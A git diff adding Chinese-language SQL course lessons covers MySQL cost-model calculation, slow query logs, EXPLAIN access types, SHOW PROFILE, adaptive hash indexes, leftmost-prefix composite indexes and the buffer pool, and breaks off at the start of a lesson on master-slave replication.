从图中你能看到针对InnoDB存储引擎可以设置专门的`io_block_read_cost`参数值。
|
||||
|
||||
### 代价模型如何计算
|
||||
|
||||
总代价的计算是一个比较复杂的过程,上面只是列出了一些常用的重要参数,我们可以根据情况对它们进行调整,也可以使用默认的系统参数值。
|
||||
|
||||
那么总的代价是如何进行计算的呢?
|
||||
|
||||
在论文[《Access Path Selection-in a Relational Database Management System》](http://dbis.rwth-aachen.de/lehrstuhl/staff/li/resources/download/AccessPathSelectionInRelationalDatabase.pdf%EF%BC%89)中给出了计算模型,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/38/b0/387aaaeb22f50168402018d8891ca5b0.png" alt=""><br>
|
||||
你可以简单地认为,总的执行代价等于I/O代价+CPU代价。在这里PAGE FETCH就是I/O代价,也就是页面加载的代价,包括数据页和索引页加载的代价。W*(RSI CALLS)就是CPU代价。W在这里是个权重因子,表示了CPU到I/O之间转化的相关系数,RSI CALLS代表了CPU的代价估算,包括了键比较(compare key)以及行估算(row evaluating)的代价。
|
||||
|
||||
为了让你更好地理解,我说下关于W和RSI CALLS的英文解释:W is an adjustable weight between I/O and CPU utilization. The number of RSI calls is used to approximate CPU utilization。
|
||||
|
||||
这样你应该能明白为了让CPU代价和I/O代价放到一起来统计,我们使用了转化的系数W,
|
||||
|
||||
另外需要说明的是,在MySQL5.7版本之后,代价模型又进行了完善,不仅考虑到了I/O和CPU开销,还对内存计算和远程操作的代价进行了统计,也就是说总代价的计算公式演变成下面这样:
|
||||
|
||||
总代价 = I/O代价 + CPU代价 + 内存代价 + 远程代价
|
||||
|
||||
这里对内存代价和远程代价不进行讲解,我们只需要关注I/O代价和CPU代价即可。
|
||||
|
||||
## 总结
|
||||
|
||||
我今天讲解了查询优化器,它在RDBMS中是个非常重要的角色。在优化器中会经历逻辑查询优化和物理查询优化阶段。
|
||||
|
||||
最后我们只是简单梳理了下CBO的总代价是如何计算的,以及包括了哪些部分。CBO的代价计算是个复杂的过程,细节很多,不同优化器的实现方式也不同。另外随着优化器的逐渐成熟,考虑的因素也会越来越多。在某些情况下MySQL还会把RBO和CBO组合起来一起使用。RBO是个简单固化的模型,在Oracle 8i之前采用的就是RBO,在优化器中一共包括了15种规则,输入的SQL会根据符合规则的情况得出相应的执行计划,在Oracle 10g版本之后就用CBO替代了RBO。
|
||||
|
||||
CBO中需要传入的参数除了SQL查询以外,还包括了优化器参数、数据表统计信息和系统配置等,这实际上也导致CBO出现了一些缺陷,比如统计信息不准确,参数配置过高或过低,都会导致路径选择的偏差。除此以外,查询优化器还需要在优化时间和执行计划质量之间进行平衡,比如一个执行计划的执行时间是10秒钟,就没有必要花1分钟优化执行计划,除非该SQL使用频繁高,后续可以重复使用该执行计划。同样CBO也会做一些搜索空间的剪枝,以便在有效的时间内找到一个“最优”的执行计划。这里,其实也是在告诉我们,为了得到一个事物,付出的成本过大,即使最终得到了,有时候也是得不偿失的。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/1b/36/1be7b4fcd9ebdbfcc4f203a6c5e4a836.jpg" alt=""><br>
|
||||
最后留两道思考题吧,RBO和CBO各自的特点是怎样的呢?为什么CBO也存在不足?你能用自己的话描述一下其中的原因吗?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起来学习进步。
|
||||
224
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/33丨如何使用性能分析工具定位SQL执行慢的原因?.md
Normal file
224
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/33丨如何使用性能分析工具定位SQL执行慢的原因?.md
Normal file
@@ -0,0 +1,224 @@
|
||||
<audio id="audio" title="33丨如何使用性能分析工具定位SQL执行慢的原因?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/12/74/12c6c50ae92bf4121ece98e17218a074.mp3"></audio>
|
||||
|
||||
在上一篇文章中,我们了解了查询优化器,知道在查询优化器中会经历逻辑查询优化和物理查询优化。需要注意的是,查询优化器只能在已经确定的情况下(SQL语句、索引设计、缓冲池大小、查询优化器参数等已知的情况)决定最优的查询执行计划。
|
||||
|
||||
但实际上SQL执行起来可能还是很慢,那么到底从哪里定位SQL查询慢的问题呢?是索引设计的问题?服务器参数配置的问题?还是需要增加缓存的问题呢?今天我们就从性能分析来入手,定位导致SQL执行慢的原因。
|
||||
|
||||
今天的内容主要包括以下几个部分:
|
||||
|
||||
1. 数据库服务器的优化分析的步骤是怎样的?中间有哪些需要注意的地方?
|
||||
1. 如何使用慢查询日志查找执行慢的SQL语句?
|
||||
1. 如何使用EXPLAIN查看SQL执行计划?
|
||||
1. 如何使用SHOW PROFILING分析SQL执行步骤中的每一步的执行时间?
|
||||
|
||||
## 数据库服务器的优化步骤
|
||||
|
||||
当我们遇到数据库调优问题的时候,该如何思考呢?我把思考的流程整理成了下面这张图。
|
||||
|
||||
整个流程划分成了观察(Show status)和行动(Action)两个部分。字母S的部分代表观察(会使用相应的分析工具),字母A代表的部分是行动(对应分析可以采取的行动)。<br>
|
||||
<img src="https://static001.geekbang.org/resource/image/99/37/998b1a255fe608856ac043eb9c36d237.png" alt=""><br>
|
||||
我们可以通过观察了解数据库整体的运行状态,通过性能分析工具可以让我们了解执行慢的SQL都有哪些,查看具体的SQL执行计划,甚至是SQL执行中的每一步的成本代价,这样才能定位问题所在,找到了问题,再采取相应的行动。
|
||||
|
||||
我来详细解释一下这张图。
|
||||
|
||||
首先在S1部分,我们需要观察服务器的状态是否存在周期性的波动。如果存在周期性波动,有可能是周期性节点的原因,比如双十一、促销活动等。这样的话,我们可以通过A1这一步骤解决,也就是加缓存,或者更改缓存失效策略。
|
||||
|
||||
如果缓存策略没有解决,或者不是周期性波动的原因,我们就需要进一步分析查询延迟和卡顿的原因。接下来进入S2这一步,我们需要开启慢查询。慢查询可以帮我们定位执行慢的SQL语句。我们可以通过设置`long_query_time`参数定义“慢”的阈值,如果SQL执行时间超过了`long_query_time`,则会认为是慢查询。当收集上来这些慢查询之后,我们就可以通过分析工具对慢查询日志进行分析。
|
||||
|
||||
在S3这一步骤中,我们就知道了执行慢的SQL语句,这样就可以针对性地用EXPLAIN查看对应SQL语句的执行计划,或者使用SHOW PROFILE查看SQL中每一个步骤的时间成本。这样我们就可以了解SQL查询慢是因为执行时间长,还是等待时间长。
|
||||
|
||||
如果是SQL等待时间长,我们进入A2步骤。在这一步骤中,我们可以调优服务器的参数,比如适当增加数据库缓冲池等。如果是SQL执行时间长,就进入A3步骤,这一步中我们需要考虑是索引设计的问题?还是查询关联的数据表过多?还是因为数据表的字段设计问题导致了这一现象。然后在这些维度上进行对应的调整。
|
||||
|
||||
如果A2和A3都不能解决问题,我们需要考虑数据库自身的SQL查询性能是否已经达到了瓶颈,如果确认没有达到性能瓶颈,就需要重新检查,重复以上的步骤。如果已经达到了性能瓶颈,进入A4阶段,需要考虑增加服务器,采用读写分离的架构,或者考虑对数据库分库分表,比如垂直分库、垂直分表和水平分表等。
|
||||
|
||||
以上就是数据库调优的流程思路。当我们发现执行SQL时存在不规则延迟或卡顿的时候,就可以采用分析工具帮我们定位有问题的SQL,这三种分析工具你可以理解是SQL调优的三个步骤:慢查询、EXPLAIN和SHOW PROFILE。
|
||||
|
||||
## 使用慢查询定位执行慢的SQL
|
||||
|
||||
慢查询可以帮我们找到执行慢的SQL,在使用前,我们需要先看下慢查询是否已经开启,使用下面这条命令即可:
|
||||
|
||||
```
|
||||
mysql > show variables like '%slow_query_log';
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/9e/35/9efe05b732290a3ed0132597e2ca0f35.png" alt=""><br>
|
||||
我们能看到`slow_query_log=OFF`,也就是说慢查询日志此时是关上的。我们可以把慢查询日志打开,注意设置变量值的时候需要使用global,否则会报错:
|
||||
|
||||
```
|
||||
mysql > set global slow_query_log='ON';
|
||||
|
||||
```
|
||||
|
||||
然后我们再来查看下慢查询日志是否开启,以及慢查询日志文件的位置:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/20/11/20d327118c221ada2bb123a4ce975e11.png" alt=""><br>
|
||||
你能看到这时慢查询分析已经开启,同时文件保存在DESKTOP-4BK02RP-slow文件中。
|
||||
|
||||
接下来我们来看下慢查询的时间阈值设置,使用如下命令:
|
||||
|
||||
```
|
||||
mysql > show variables like '%long_query_time%';
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a7/7a/a752b54a3fa38af449b55ccd0e628e7a.png" alt="">
|
||||
|
||||
这里如果我们想把时间缩短,比如设置为3秒,可以这样设置:
|
||||
|
||||
```
|
||||
mysql > set global long_query_time = 3;
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a1/49/a17e97c29e0c66177e2844ae96189449.png" alt=""><br>
|
||||
我们可以使用MySQL自带的mysqldumpslow工具统计慢查询日志(这个工具是个Perl脚本,你需要先安装好Perl)。
|
||||
|
||||
mysqldumpslow命令的具体参数如下:
|
||||
|
||||
- -s:采用order排序的方式,排序方式可以有以下几种。分别是c(访问次数)、t(查询时间)、l(锁定时间)、r(返回记录)、ac(平均查询次数)、al(平均锁定时间)、ar(平均返回记录数)和at(平均查询时间)。其中at为默认排序方式。
|
||||
- -t:返回前N条数据 。
|
||||
- -g:后面可以是正则表达式,对大小写不敏感。
|
||||
|
||||
比如我们想要按照查询时间排序,查看前两条SQL语句,这样写即可:
|
||||
|
||||
```
|
||||
perl mysqldumpslow.pl -s t -t 2 "C:\ProgramData\MySQL\MySQL Server 8.0\Data\DESKTOP-4BK02RP-slow.log"
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/5b/44/5bded5220b76bfe20c59bb2968cc3744.png" alt=""><br>
|
||||
你能看到开启了慢查询日志,并设置了相应的慢查询时间阈值之后,只要查询时间大于这个阈值的SQL语句都会保存在慢查询日志中,然后我们就可以通过mysqldumpslow工具提取想要查找的SQL语句了。
|
||||
|
||||
## 如何使用EXPLAIN查看执行计划
|
||||
|
||||
定位了查询慢的SQL之后,我们就可以使用EXPLAIN工具做针对性的分析,比如我们想要了解product_comment和user表进行联查的时候所采用的的执行计划,可以使用下面这条语句:
|
||||
|
||||
```
|
||||
EXPLAIN SELECT comment_id, product_id, comment_text, product_comment.user_id, user_name FROM product_comment JOIN user on product_comment.user_id = user.user_id
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ab/13/ab63d280a507eeb327bf154a0e87bf13.png" alt=""><br>
|
||||
EXPLAIN可以帮助我们了解数据表的读取顺序、SELECT子句的类型、数据表的访问类型、可使用的索引、实际使用的索引、使用的索引长度、上一个表的连接匹配条件、被优化器查询的行的数量以及额外的信息(比如是否使用了外部排序,是否使用了临时表等)等。
|
||||
|
||||
SQL执行的顺序是根据id从大到小执行的,也就是id越大越先执行,当id相同时,从上到下执行。
|
||||
|
||||
数据表的访问类型所对应的type列是我们比较关注的信息。type可能有以下几种情况:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/22/92/223e8c7b863bd15c83f25e3d93958692.png" alt=""><br>
|
||||
在这些情况里,all是最坏的情况,因为采用了全表扫描的方式。index和all差不多,只不过index对索引表进行全扫描,这样做的好处是不再需要对数据进行排序,但是开销依然很大。如果我们在Extral列中看到Using index,说明采用了索引覆盖,也就是索引可以覆盖所需的SELECT字段,就不需要进行回表,这样就减少了数据查找的开销。
|
||||
|
||||
比如我们对product_comment数据表进行查询,设计了联合索引`composite_index (user_id, comment_text)`,然后对数据表中的`comment_id`、`comment_text`、`user_id`这三个字段进行查询,最后用EXPLAIN看下执行计划:
|
||||
|
||||
```
|
||||
EXPLAIN SELECT comment_id, comment_text, user_id FROM product_comment
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/07/8f/07a47b0146b0e881381f78812914568f.png" alt=""><br>
|
||||
你能看到这里的访问方式采用了index的方式,key列采用了联合索引,进行扫描。Extral列为Using index,告诉我们索引可以覆盖SELECT中的字段,也就不需要回表查询了。
|
||||
|
||||
range表示采用了索引范围扫描,这里不进行举例,从这一级别开始,索引的作用会越来越明显,因此我们需要尽量让SQL查询可以使用到range这一级别及以上的type访问方式。
|
||||
|
||||
index_merge说明查询同时使用了两个或以上的索引,最后取了交集或者并集。比如想要对`comment_id=500000` 或者`user_id=500000`的数据进行查询,数据表中comment_id为主键,user_id是普通索引,我们可以查看下执行计划:
|
||||
|
||||
```
|
||||
EXPLAIN SELECT comment_id, product_id, comment_text, user_id FROM product_comment WHERE comment_id = 500000 OR user_id = 500000
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4d/7e/4d07052ad81616f1d3b37bdb0a32067e.png" alt=""><br>
|
||||
你能看到这里同时使用到了两个索引,分别是主键和user_id,采用的数据表访问类型是index_merge,通过union的方式对两个索引检索的数据进行合并。
|
||||
|
||||
ref类型表示采用了非唯一索引,或者是唯一索引的非唯一性前缀。比如我们想要对`user_id=500000`的评论进行查询,使用EXPLAIN查看执行计划:
|
||||
|
||||
```
|
||||
EXPLAIN SELECT comment_id, comment_text, user_id FROM product_comment WHERE user_id = 500000
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/0a/b6/0a98105a776ce82bf6503fcad2ebe2b6.png" alt=""><br>
|
||||
这里user_id为普通索引(因为user_id在商品评论表中可能是重复的),因此采用的访问类型是ref,同时在ref列中显示const,表示连接匹配条件是常量,用于索引列的查找。
|
||||
|
||||
eq_ref类型是使用主键或唯一索引时产生的访问方式,通常使用在多表联查中。假设我们对`product_comment`表和user表进行联查,关联条件是两张表的user_id相等,使用EXPLAIN进行执行计划查看:
|
||||
|
||||
```
|
||||
EXPLAIN SELECT * FROM product_comment JOIN user WHERE product_comment.user_id = user.user_id
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/59/33/59a1c808e79e2462fa6ffe5d7623d433.png" alt=""><br>
|
||||
const类型表示我们使用了主键或者唯一索引(所有的部分)与常量值进行比较,比如我们想要查看`comment_id=500000`,查看执行计划:
|
||||
|
||||
```
|
||||
EXPLAIN SELECT comment_id, comment_text, user_id FROM product_comment WHERE comment_id = 500000
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6c/34/6c95ac56a800f1a89e3fb461418a4334.png" alt=""><br>
|
||||
需要说明的是const类型和eq_ref都使用了主键或唯一索引,不过这两个类型有所区别,const是与常量进行比较,查询效率会更快,而eq_ref通常用于多表联查中。
|
||||
|
||||
system类型一般用于MyISAM或Memory表,属于const类型的特例,当表只有一行时连接类型为system(我在GitHub上上传了test_myisam数据表,该数据表只有一行记录,下载地址:[https://github.com/cystanford/SQL_MyISAM](https://github.com/cystanford/SQL_MyISAM))。我们查看下执行计划:
|
||||
|
||||
```
|
||||
EXPLAIN SELECT * FROM test_myisam
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/9c/c6/9c2160c4f11d023ece153fcf34f639c6.png" alt=""><br>
|
||||
你能看到除了all类型外,其他类型都可以使用到索引,但是不同的连接方式的效率也会有所不同,效率从低到高依次为all < index < range < index_merge < ref < eq_ref < const/system。我们在查看执行计划的时候,通常希望执行计划至少可以使用到range级别以上的连接方式,如果只使用到了all或者index连接方式,我们可以从SQL语句和索引设计的角度上进行改进。
|
||||
|
||||
## 使用SHOW PROFILE查看SQL的具体执行成本
|
||||
|
||||
SHOW PROFILE相比EXPLAIN能看到更进一步的执行解析,包括SQL都做了什么、所花费的时间等。默认情况下,profiling是关闭的,我们可以在会话级别开启这个功能。
|
||||
|
||||
```
|
||||
mysql > show variables like 'profiling';
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/db/96/db06756d6d8c0614c2a7574b0f6ba896.png" alt=""><br>
|
||||
通过设置`profiling='ON'`来开启show profile:
|
||||
|
||||
```
|
||||
mysql > set profiling = 'ON';
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/11/bd/113b83ee204c9e9bbd4d8bd406abafbd.png" alt=""><br>
|
||||
我们可以看下当前会话都有哪些profiles,使用下面这条命令:
|
||||
|
||||
```
|
||||
mysql > show profiles;
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d0/80/d0f2ceae31f260f7b3e5f4e2a96e7280.png" alt=""><br>
|
||||
你能看到当前会话一共有2个查询,如果我们想要查看上一个查询的开销,可以使用:
|
||||
|
||||
```
|
||||
mysql > show profile;
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/80/0d/80a0962163ddd49e728f45d2bcd9fc0d.png" alt=""><br>
|
||||
我们也可以查看指定的Query ID的开销,比如`show profile for query 2`查询结果是一样的。在SHOW PROFILE中我们可以查看不同部分的开销,比如cpu、block.io等:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ec/83/ec4a633bff55a96aa831155a59bc1e83.png" alt=""><br>
|
||||
通过上面的结果,我们可以弄清楚每一步骤的耗时,以及在不同部分,比如CPU、block.io 的执行时间,这样我们就可以判断出来SQL到底慢在哪里。
|
||||
|
||||
不过SHOW PROFILE命令将被弃用,我们可以从information_schema中的profiling数据表进行查看。
|
||||
|
||||
## 总结
|
||||
|
||||
我今天梳理了SQL优化的思路,从步骤上看,我们需要先进行观察和分析,分析工具的使用在日常工作中还是很重要的。今天只介绍了常用的三种分析工具,实际上可以使用的分析工具还有很多。
|
||||
|
||||
我在这里总结一下今天文章里提到的三种分析工具。我们可以通过慢查询日志定位执行慢的SQL,然后通过EXPLAIN分析该SQL语句是否使用到了索引,以及具体的数据表访问方式是怎样的。我们也可以使用SHOW PROFILE进一步了解SQL每一步的执行时间,包括I/O和CPU等资源的使用情况。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/47/91/47946dd726bd1b68a13799562f747291.png" alt=""><br>
|
||||
今天我介绍了EXPLAIN和SHOW PROFILE这两个工具,你还使用过哪些分析工具呢?
|
||||
|
||||
另外我们在进行数据表连接的时候,会有多种访问类型,你可以讲一下ref、eq_ref和 const 这三种类型的区别吗?查询效率有何不同?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流进步。
|
||||
159
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/34丨答疑篇:关于索引以及缓冲池的一些解惑.md
Normal file
159
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/34丨答疑篇:关于索引以及缓冲池的一些解惑.md
Normal file
@@ -0,0 +1,159 @@
|
||||
<audio id="audio" title="34丨答疑篇:关于索引以及缓冲池的一些解惑" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/fa/0f/fa4af3b805cdbe60de8ab9fa7d4c420f.mp3"></audio>
|
||||
|
||||
这篇文章是进阶篇的最后一篇,在这一模块中,我主要针对SQL运行的底层原理进行了讲解,其中还有很多问题没有回答,我总结了进阶篇中常见的一些问题,希望能对你有所帮助。下面的内容主要包括了索引原则、自适应Hash、缓冲池机制和存储引擎等。
|
||||
|
||||
## 关于索引(B+树索引和Hash索引,以及索引原则)
|
||||
|
||||
### 什么是自适应 Hash 索引?
|
||||
|
||||
在回答这个问题前,让我们先回顾下B+树索引和Hash索引:
|
||||
|
||||
因为B+树可以使用到范围查找,同时是按照顺序的方式对数据进行存储,因此很容易对数据进行排序操作,在联合索引中也可以利用部分索引键进行查询。这些情况下,我们都没法使用Hash索引,因为Hash索引仅能满足(=)(<>)和IN查询,不能使用范围查询。此外,Hash索引还有一个缺陷,数据的存储是没有顺序的,在ORDER BY的情况下,使用Hash索引还需要对数据重新排序。而对于联合索引的情况,Hash值是将联合索引键合并后一起来计算的,无法对单独的一个键或者几个索引键进行查询。
|
||||
|
||||
MySQL默认使用B+树作为索引,因为B+树有着Hash索引没有的优点,那么为什么还需要自适应Hash索引呢?这是因为Hash索引在进行数据检索的时候效率非常高,通常只需要O(1)的复杂度,也就是一次就可以完成数据的检索。虽然Hash索引的使用场景有很多限制,但是优点也很明显,所以MySQL提供了一个自适应Hash索引的功能(Adaptive Hash Index)。注意,这里的自适应指的是不需要人工来制定,系统会根据情况自动完成。
|
||||
|
||||
什么情况下才会使用自适应Hash索引呢?如果某个数据经常被访问,当满足一定条件的时候,就会将这个数据页的地址存放到Hash表中。这样下次查询的时候,就可以直接找到这个页面的所在位置。
|
||||
|
||||
需要说明的是自适应Hash索引只保存热数据(经常被使用到的数据),并非全表数据。因此数据量并不会很大,因此自适应Hash也是存放到缓冲池中,这样也进一步提升了查找效率。
|
||||
|
||||
InnoDB中的自适应Hash相当于“索引的索引”,采用Hash索引存储的是B+树索引中的页面的地址。如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/69/e0/692193e1df655561619cb464201ba3e0.jpg" alt=""><br>
|
||||
你能看到,采用自适应Hash索引目的是方便根据SQL的查询条件加速定位到叶子节点,特别是当B+树比较深的时候,通过自适应Hash索引可以明显提高数据的检索效率。
|
||||
|
||||
我们来看下自适应Hash索引的原理。
|
||||
|
||||
自适应Hash采用Hash函数映射到一个Hash表中,如下图所示,查找字典类型的数据非常方便。
|
||||
|
||||
Hash表是数组+链表的形式。通过Hash函数可以计算索引键值所对应的bucket(桶)的位置,如果产生Hash冲突,就需要遍历链表来解决。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a6/ae/a6d510f8ca80feef8cb21b5fe55ef0ae.jpg" alt=""><br>
|
||||
我们可以通过`innodb_adaptive_hash_index`变量来查看是否开启了自适应Hash,比如:
|
||||
|
||||
```
|
||||
mysql> show variables like '%adaptive_hash_index';
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/70/99/70e9907a16ec51f03cb99295fafd0899.png" alt=""><br>
|
||||
我来总结一下,InnoDB本身不支持Hash索引,但是提供自适应Hash索引,不需要用户来操作,存储引擎会自动完成。自适应Hash是InnoDB三大关键特性之一,另外两个分别是插入缓冲和二次写。
|
||||
|
||||
### 什么是联合索引的最左原则?
|
||||
|
||||
关于联合索引的最左原则,读者@老毕 给出了一个非常形象的解释:
|
||||
|
||||
假设我们有x、y、z三个字段,创建联合索引(x, y, z)之后,我们可以把x、y、z分别类比成“百分位”、“十分位”和“个位”。
|
||||
|
||||
查询“x=9 AND y=8 AND z=7”的过程,就是在一个由小到大排列的数值序列中寻找“987”,可以很快找到。
|
||||
|
||||
查询“y=8 AND z=7”,就用不上索引了,因为可能存在187、287、387、487………这样就必须扫描所有数值。
|
||||
|
||||
我在这个基础上再补充说明一下。
|
||||
|
||||
查询“z=7 AND y=8 AND x=9”的时候,如果三个字段x、y、z在条件查询的时候是乱序的,但采用的是等值查询(=)或者是IN查询,那么MySQL的优化器可以自动帮我们调整为可以使用联合索引的形式。
|
||||
|
||||
当我们查询“x=9 AND y>8 AND z=7”的时候,如果建立了(x,y,z)顺序的索引,这时候z是用不上索引的。这是因为MySQL在匹配联合索引最左前缀的时候,如果遇到了范围查询,比如(<)(>)和between等,就会停止匹配。索引列最多作用于一个范围列,对于后面的Z来说,就没法使用到索引了。
|
||||
|
||||
通过这个我们也可以知道,联合索引的最左前缀匹配原则针对的是创建的联合索引中的顺序,如果创建了联合索引(x,y,z),那么这个索引的使用顺序就很重要了。如果在条件语句中只有y和z,那么就用不上联合索引。
|
||||
|
||||
此外,SQL条件语句中的字段顺序并不重要,因为在逻辑查询优化阶段会自动进行查询重写。
|
||||
|
||||
最后你需要记住,如果我们遇到了范围条件查询,比如(<)(<=)(>)(>=)和between等,那么范围列后的列就无法使用到索引了。
|
||||
|
||||
### Hash索引与B+树索引是在建索引的时候手动指定的吗?
|
||||
|
||||
如果使用的是MySQL的话,我们需要了解MySQL的存储引擎都支持哪些索引结构,如下图所示(参考来源 [https://dev.mysql.com/doc/refman/8.0/en/create-index.html](https://dev.mysql.com/doc/refman/8.0/en/create-index.html))。如果是其他的DBMS,可以参考相关的DBMS文档。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f7/38/f7706327f9ebc7488653d69b4cd5f438.png" alt=""><br>
|
||||
你能看到,针对InnoDB和MyISAM存储引擎,都会默认采用B+树索引,无法使用Hash索引。InnoDB提供的自适应Hash是不需要手动指定的。如果是Memory/Heap和NDB存储引擎,是可以进行选择Hash索引的。
|
||||
|
||||
## 关于缓冲池
|
||||
|
||||
### 缓冲池和查询缓存是一个东西吗?
|
||||
|
||||
首先我们需要了解在InnoDB存储引擎中,缓冲池都包括了哪些。
|
||||
|
||||
在InnoDB存储引擎中有一部分数据会放到内存中,缓冲池则占了这部分内存的大部分,它用来存储各种数据的缓存,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/0e/dc/0eb57c0d0ea7611b16ac6efa76771bdc.jpg" alt=""><br>
|
||||
从图中,你能看到InnoDB缓冲池包括了数据页、索引页、插入缓冲、锁信息、自适应Hash和数据字典信息等。
|
||||
|
||||
我们之前讲过使用缓冲池技术的原因。这里重新回顾一下。InnoDB存储引擎基于磁盘文件存储,访问物理硬盘和在内存中进行访问,速度相差很大,为了尽可能弥补这两者之间I/O效率的差值,我们就需要把经常使用的数据加载到缓冲池中,避免每次访问都进行磁盘I/O。
|
||||
|
||||
“频次*位置”这个原则,可以帮我们对I/O访问效率进行优化。
|
||||
|
||||
首先,位置决定效率,提供缓冲池就是为了在内存中可以直接访问数据。
|
||||
|
||||
其次,频次决定优先级顺序。因为缓冲池的大小是有限的,比如磁盘有200G,但是内存只有16G,缓冲池大小只有1G,就无法将所有数据都加载到缓冲池里,这时就涉及到优先级顺序,会优先对使用频次高的热数据进行加载。
|
||||
|
||||
了解了缓冲池的作用之后,我们还需要了解缓冲池的另一个特性:预读。
|
||||
|
||||
缓冲池的作用就是提升I/O效率,而我们进行读取数据的时候存在一个“局部性原理”,也就是说我们使用了一些数据,大概率还会使用它周围的一些数据,因此采用“预读”的机制提前加载,可以减少未来可能的磁盘I/O操作。
|
||||
|
||||
那么什么是查询缓存呢?
|
||||
|
||||
查询缓存是提前把查询结果缓存起来,这样下次不需要执行就可以直接拿到结果。需要说明的是,在MySQL中的查询缓存,不是缓存查询计划,而是查询对应的结果。这就意味着查询匹配的鲁棒性大大降低,只有相同的查询操作才会命中查询缓存。因此MySQL的查询缓存命中率不高,在MySQL8.0版本中已经弃用了查询缓存功能。
|
||||
|
||||
查看是否使用了查询缓存,使用命令:
|
||||
|
||||
```
|
||||
show variables like '%query_cache%';
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/cb/c7/cb590bd0aac9751401943487534360c7.png" alt=""><br>
|
||||
缓冲池并不等于查询缓存,它们的共同点都是通过缓存的机制来提升效率。但缓冲池服务于数据库整体的I/O操作,而查询缓存服务于SQL查询和查询结果集的,因为命中条件苛刻,而且只要数据表发生变化,查询缓存就会失效,因此命中率低。
|
||||
|
||||
## 其他
|
||||
|
||||
很多人对InnoDB和MyISAM的取舍存在疑问,到底选择哪个比较好呢?
|
||||
|
||||
我们需要先了解InnoDB和MyISAM各自的特点。InnoDB支持事务和行级锁,是MySQL默认的存储引擎;MyISAM只支持表级锁,不支持事务,更适合读取数据库的情况。
|
||||
|
||||
如果是小型的应用,需要大量的SELECT查询,可以考虑MyISAM;如果是事务处理应用,需要选择InnoDB。
|
||||
|
||||
这两种引擎各有特点,当然你也可以在MySQL中,针对不同的数据表,可以选择不同的存储引擎。
|
||||
|
||||
最后给大家提供一下专栏中学习资料的下载。
|
||||
|
||||
如果你想导入文章中的“product_comment”表结构和数据,点击[这里](https://github.com/cystanford/product_comment)即可。你也可以在[网盘](https://pan.baidu.com/s/1LBEAm50DDP9AjErLtGplLg)里下载,提取码为32ep。
|
||||
|
||||
关于文章中涉及到的思维导图,点击[这里](https://github.com/cystanford/SQL-XMind)下载即可。
|
||||
|
||||
最后留一道思考题,供你消化今天答疑篇里的内容。
|
||||
|
||||
假设我们有x、y、z三个字段,创建联合索引(x, y, z)。数据表中的数据量比较大,那么对下面语句进行SQL查询的时候,哪个会使用联合索引?如果使用了联合索引,分别使用到了联合索引的哪些部分?
|
||||
|
||||
A
|
||||
|
||||
```
|
||||
SELECT x, y, z FROM table WHERE y=2 AND x>1 AND z=3
|
||||
|
||||
|
||||
```
|
||||
|
||||
B
|
||||
|
||||
```
|
||||
SELECT x, y, z FROM table WHERE y=2 AND x=1 AND z>3
|
||||
|
||||
```
|
||||
|
||||
C
|
||||
|
||||
```
|
||||
SELECT x, y, z FROM table WHERE y=2 AND x=1 AND z=3
|
||||
|
||||
```
|
||||
|
||||
D
|
||||
|
||||
```
|
||||
SELECT x, y, z FROM table WHERE y>2 AND x=1 AND z=3
|
||||
|
||||
|
||||
```
|
||||
|
||||
欢迎你在评论区写下你的答案,我会和你一起交流,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
|
||||
|
||||
@@ -0,0 +1,102 @@
|
||||
<audio id="audio" title="35丨数据库主从同步的作用是什么,如何解决数据不一致问题?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/3b/c3/3b716c725310d70b0ae6b8985fdd6bc3.mp3"></audio>
|
||||
|
||||
我们之前讲解了Redis,它是一种高性能的内存数据库;而MySQL是基于磁盘文件的关系型数据库,相比于Redis来说,读取速度会慢一些,但是功能强大,可以用于存储持久化的数据。在实际工作中,我们常常将Redis作为缓存与MySQL配合来使用,当有数据访问请求的时候,首先会从缓存中进行查找,如果存在就直接取出,如果不存在再访问数据库,这样就提升了读取的效率,也减少了对后端数据库的访问压力。可以说使用Redis这种缓存架构是高并发架构中非常重要的一环。
|
||||
|
||||
